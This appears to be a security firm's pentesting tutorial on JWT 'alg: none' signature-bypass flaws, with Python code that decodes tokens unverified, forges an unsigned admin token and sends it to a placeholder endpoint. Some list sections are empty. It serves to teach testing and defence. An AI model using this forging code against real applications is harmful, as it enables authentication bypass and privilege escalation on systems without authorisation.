Learn Pentesting: Manual Testing for JWT Signature Not Verified

In this article, we’ll explore a common yet dangerous misconfiguration in web applications that use JSON Web Tokens (JWT) for authentication—the failure to properly verify JWT signatures. This vulnerability can allow attackers to forge tokens, bypass authentication, and escalate privileges. In this deep dive, we’ll explain the mechanics behind JWTs, illustrate the vulnerability with hands-on examples, and provide code snippets to help you manually test for this issue during a web application penetration test.


Understanding JWTs

JSON Web Tokens (JWT) are a compact, URL-safe means of representing claims to be transferred between two parties. A typical JWT consists of three parts:

  1. Header: Contains metadata about the token, such as the signing algorithm (e.g., HS256, RS256) and the token type (typically “JWT”).
  2. Payload: Contains the claims. This is where information about the user or other metadata is stored.
  3. Signature: A cryptographic signature computed over the header and payload using a secret key or private key. The signature ensures the integrity of the token and authenticity of its origin.

JWTs are encoded using Base64Url encoding and concatenated with dots, forming a string that looks like this:

<base64url_header>.<base64url_payload>.<base64url_signature>

JWT Signature Verification: The Basics

When a server receives a JWT, it is expected to verify the token’s signature before trusting its claims. The verification process typically involves:

If the signature doesn’t match, the token should be rejected. However, misconfigurations or vulnerabilities in the JWT verification process can allow attackers to bypass this critical security check.


The “None” Algorithm Vulnerability

One common vulnerability is when a web application fails to properly enforce signature verification and accepts tokens with the "alg": "none" header parameter. When this occurs, an attacker can craft a token that claims to be unsigned (i.e., with an empty signature) but still contains arbitrary payload data. If the server trusts such tokens, it could lead to unauthorized access.

This vulnerability is typically introduced by:


Manual Testing Process

When you suspect that a web application may not be properly verifying JWT signatures, follow these steps to manually test for the vulnerability:

  1. Identify JWT Usage

    • Locate endpoints that use JWTs for authentication or authorization.
    • Intercept a valid token using a proxy tool like Burp Suite.
  2. Analyze the JWT Structure

    • Decode the intercepted token (without verifying the signature) to understand its header and payload.
    • Tools like jwt.io or custom scripts can be useful.
  3. Modify the Token

    • Change the header’s "alg" value to "none".
    • Remove the signature part (or replace it with an empty string).
  4. Send the Forged Token

    • Replace the original token in your intercepted request with the modified token.
    • Observe the server’s response. If the server accepts the token, the vulnerability is confirmed.

Practical Code Examples

Below are a series of Python code examples to illustrate how you can test for a JWT signature verification bypass manually.

Decoding a JWT Without Verifying the Signature

In some cases, you may want to decode a token to inspect its payload without validating its signature. Using the pyjwt library, you can disable signature verification as follows:

import jwt

# Sample JWT obtained from the target application
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UifQ.sZyHdS1lkm8Njhc5GhI3XYZ"

# Decode the JWT without verifying the signature
decoded = jwt.decode(original_token, options={"verify_signature": False})
print("Decoded JWT:", decoded)

Explanation:
This snippet uses the jwt.decode function with the verify_signature option set to False. This allows you to inspect the token’s payload (e.g., user information) without needing the secret key.

Crafting a Token with the “None” Algorithm

Next, let’s manually craft a JWT that uses the "none" algorithm. This involves creating a new header and payload, then constructing the token without a signature:

import base64
import json

def base64url_encode(data: str) -> str:
    """Encodes a string using base64 URL-safe encoding without padding."""
    return base64.urlsafe_b64encode(data.encode()).decode().rstrip("=")

# Define a header with the "none" algorithm
header = {
    "alg": "none",
    "typ": "JWT"
}

# Use the original payload (or modify as needed)
payload = {"user": "alice", "role": "admin"}

# Convert header and payload to JSON strings and encode them
header_json = json.dumps(header, separators=(",", ":"))
payload_json = json.dumps(payload, separators=(",", ":"))

header_enc = base64url_encode(header_json)
payload_enc = base64url_encode(payload_json)

# Construct the token with an empty signature
forged_token = f"{header_enc}.{payload_enc}."
print("Forged Token with 'none' algorithm:", forged_token)

Explanation:

Sending a Forged Token to the Target Application

Finally, test the token by sending it to an endpoint that expects a valid JWT. Use Python’s requests library to automate this process:

import requests

# URL of the protected resource on the target application
url = "http://target-application.example/protected-resource"

# Include the forged token in the Authorization header
headers = {"Authorization": f"Bearer {forged_token}"}

# Send the request
response = requests.get(url, headers=headers)

print("Response Status Code:", response.status_code)
print("Response Body:")
print(response.text)

Explanation:
This script sends an HTTP GET request to a target endpoint with the forged JWT in the Authorization header. A successful response (e.g., a status code of 200) may indicate that the server accepted the token without verifying its signature.


Mitigation and Remediation

For developers and security engineers, the following measures are essential to prevent JWT signature bypass vulnerabilities:


Conclusion

Manually testing for JWT signature verification vulnerabilities is a critical skill for penetration testers. By understanding the inner workings of JWTs and applying the techniques illustrated above, you can uncover dangerous misconfigurations that may allow attackers to bypass authentication controls.

Remember, while these techniques are powerful for identifying vulnerabilities, they must be used responsibly and in compliance with legal and ethical guidelines.

Happy testing, and stay secure!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.